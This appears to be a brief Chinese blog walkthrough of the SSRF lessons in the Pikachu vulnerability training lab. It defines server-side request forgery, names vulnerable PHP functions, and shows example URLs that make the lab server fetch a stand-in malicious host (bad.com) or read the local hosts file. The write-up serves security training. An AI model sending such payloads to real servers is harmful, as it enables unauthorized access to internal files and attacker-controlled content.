something about Pikachu - SSRF
pikachu
SSRF
概述
SSRF(Server-Side Request Forgery:服务器端请求伪造)。主要由于服务端提供了从其他服务器应用获取数据 的功能,但又未对目标地址做严格的限制,导致攻击者可以传入恶意地址。服务器对恶意地址进行请求, 返回恶意内容后造成损失。
PHP后台对目标地址请求的函数主要有:
file_get_contents()
fsockopen()
curl_exec()
SSRF(curl)
在url中拼接对应的恶意地址即可。
1 | http://train.com/pikachu/vul/ssrf/ssrf_curl.php?url=http://bad.com/ |
SSRF(file_get_content)
在url中拼接对应的恶意地址即可。
1 | http://train.com/pikachu/vul/ssrf/ssrf_fgc.php?file=http://bad.com/bad.php |
也可指定目标服务器上指定文件。
1 | http://train.com/pikachu/vul/ssrf/ssrf_fgc.php?file=C:\Windows\System32\drivers\etc\hosts |
something about Pikachu - SSRF